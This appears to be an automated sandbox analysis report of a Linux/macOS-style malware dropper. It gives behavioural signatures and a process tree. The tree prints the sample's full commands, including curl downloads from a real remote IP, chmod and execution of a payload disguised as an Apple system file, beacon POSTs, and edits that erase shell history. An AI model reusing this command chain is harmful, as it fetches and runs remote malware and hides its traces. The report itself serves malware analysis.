Analysis

  • max time kernel
    14s
  • max time network
    10s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20260513-en
  • resource tags

    arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    13/07/2026, 23:12

General

  • Target
    0d3c3af271f44279
  • Size 4KB
  • Sample260713-267dfacw71
  • SHA256 7ff9996f280041c5101ad2cc08e35d684beba96ebb42ede861c694ef8c7eaa80
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 2 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 1 IoCs
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads Bash history 1 TTPs 1 IoCs

    Adversaries may search the bash command history on compromised systems for insecurely stored credentials.

  • Deobfuscate/Decode Files or Information 1 TTPs 2 IoCs

    Adversaries may deobfuscate or decode files or information to evade detection mechanisms.

  • Checks CPU configuration 1 TTPs 5 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads CPU attributes 1 TTPs 2 IoCs
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 1 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/0d3c3af271f44279
    /tmp/0d3c3af271f44279
    1⤵
    • Executes dropped EXE
    PID:637
    • /sbin/sysctl
      sysctl -n hw.memsize
      2⤵
      • Reads CPU attributes
      PID:646
    • /usr/bin/whoami
      whoami
      2⤵
        PID:656
      • /bin/uname
        uname -r
        2⤵
          PID:661
        • /usr/bin/base64
          base64 -D
          2⤵
          • Deobfuscate/Decode Files or Information
          PID:667
        • /bin/mktemp
          mktemp -d
          2⤵
            PID:669
          • /bin/mkdir
            mkdir -p /root/Library/Caches/com.apple.frameworks
            2⤵
              PID:671
            • /usr/bin/head
              head -c 32
              2⤵
                PID:676
              • /usr/bin/pkill
                pkill -9 -f com.apple.periodic
                2⤵
                • Reads CPU attributes
                • Reads runtime system information
                PID:678
              • /bin/sleep
                sleep 0.4
                2⤵
                  PID:679
                • /usr/bin/base64
                  base64 -D
                  2⤵
                  • Deobfuscate/Decode Files or Information
                  PID:683
                • /usr/bin/head
                  head -c8 /dev/urandom
                  2⤵
                    PID:685
                  • /usr/bin/tr
                    tr -d " \\n"
                    2⤵
                      PID:687
                    • /usr/bin/od
                      od -An -tx1
                      2⤵
                        PID:686
                      • /bin/uname
                        uname -m
                        2⤵
                          PID:689
                        • /usr/bin/curl
                          curl -sX POST -H "Content-Type: application/json" -d "{\"e\":\"loader_start\",\"rid\":\"bbec94afc3f167fe\",\"src\":\"http://95.163.152.169/c699d7ee5fd?force=1\"}" -m 5
                          2⤵
                          • Checks CPU configuration
                          • Reads runtime system information
                          PID:688
                        • /usr/bin/head
                          head -c 32
                          2⤵
                            PID:692
                          • /bin/sed
                            sed -i "\$d" /root/.zsh_history
                            2⤵
                            • Reads runtime system information
                            PID:694
                          • /usr/bin/curl
                            curl -kfsSL "http://95.163.152.169/6c7201e105118e7?force=1" -o /tmp/tmp.Z6jTodAZYH/.KLWYjF
                            2⤵
                            • Checks CPU configuration
                            • Writes file to tmp directory
                            PID:695
                          • /bin/sed
                            sed -i "\$d" /root/.bash_history
                            2⤵
                            • Reads Bash history
                            PID:696
                          • /usr/bin/head
                            head -1
                            2⤵
                              PID:699
                            • /usr/bin/cut
                              cut -d: -f2
                              2⤵
                                PID:700
                              • /bin/uname
                                uname -r
                                2⤵
                                  PID:702
                                • /usr/bin/head
                                  head -1
                                  2⤵
                                    PID:705
                                  • /usr/bin/wc
                                    wc -c
                                    2⤵
                                      PID:706
                                    • /usr/bin/curl
                                      curl -sX POST -H "Content-Type: application/json" -d "{\"e\":\"download_ok\",\"rid\":\"bbec94afc3f167fe\",\"src\":\"http://95.163.152.169/c699d7ee5fd?force=1\"}" -m 5
                                      2⤵
                                      • Checks CPU configuration
                                      PID:757
                                    • /bin/chmod
                                      chmod +x /tmp/tmp.Z6jTodAZYH/.KLWYjF
                                      2⤵
                                      • File and Directory Permissions Modification
                                      PID:762
                                    • /bin/cp
                                      cp /tmp/tmp.Z6jTodAZYH/.KLWYjF /root/Library/Caches/com.apple.frameworks/com.apple.periodic
                                      2⤵
                                      • Reads runtime system information
                                      PID:766
                                    • /bin/chmod
                                      chmod +x /root/Library/Caches/com.apple.frameworks/com.apple.periodic
                                      2⤵
                                      • File and Directory Permissions Modification
                                      PID:790
                                    • /usr/bin/curl
                                      curl -sX POST -H "Content-Type: application/json" -d "{\"e\":\"exec_start\",\"rid\":\"bbec94afc3f167fe\",\"src\":\"http://95.163.152.169/c699d7ee5fd?force=1\"}" -m 5
                                      2⤵
                                      • Checks CPU configuration
                                      PID:793
                                    • /bin/sleep
                                      sleep 3
                                      2⤵
                                        PID:795
                                      • /root/Library/Caches/com.apple.frameworks/com.apple.periodic
                                        /root/Library/Caches/com.apple.frameworks/com.apple.periodic
                                        2⤵
                                          PID:794
                                        • /usr/bin/curl
                                          curl -sX POST -H "Content-Type: application/json" -d "{\"e\":\"exec_fail\",\"rid\":\"bbec94afc3f167fe\",\"m\":{\"exit\":\"126\"}}" -m 5
                                          2⤵
                                          • Checks CPU configuration
                                          • Reads runtime system information
                                          PID:797
                                        • /bin/rm
                                          rm -rf /tmp/tmp.Z6jTodAZYH
                                          2⤵
                                            PID:798

                                        Network

                                              MITRE ATT&CK Enterprise v16

                                              Replay Monitor

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                                              Downloads

                                              .KLWYjF

                                              • Path /tmp/tmp.Z6jTodAZYH/.KLWYjF
                                              • Size 47.8MB
                                              • SHA256 64270d192001ae3e4e41853142537e44b6bde7864640a3d370bf2f9adf1e5019
                                              • MD5 SHA1 SHA512 SSDEEP TLSH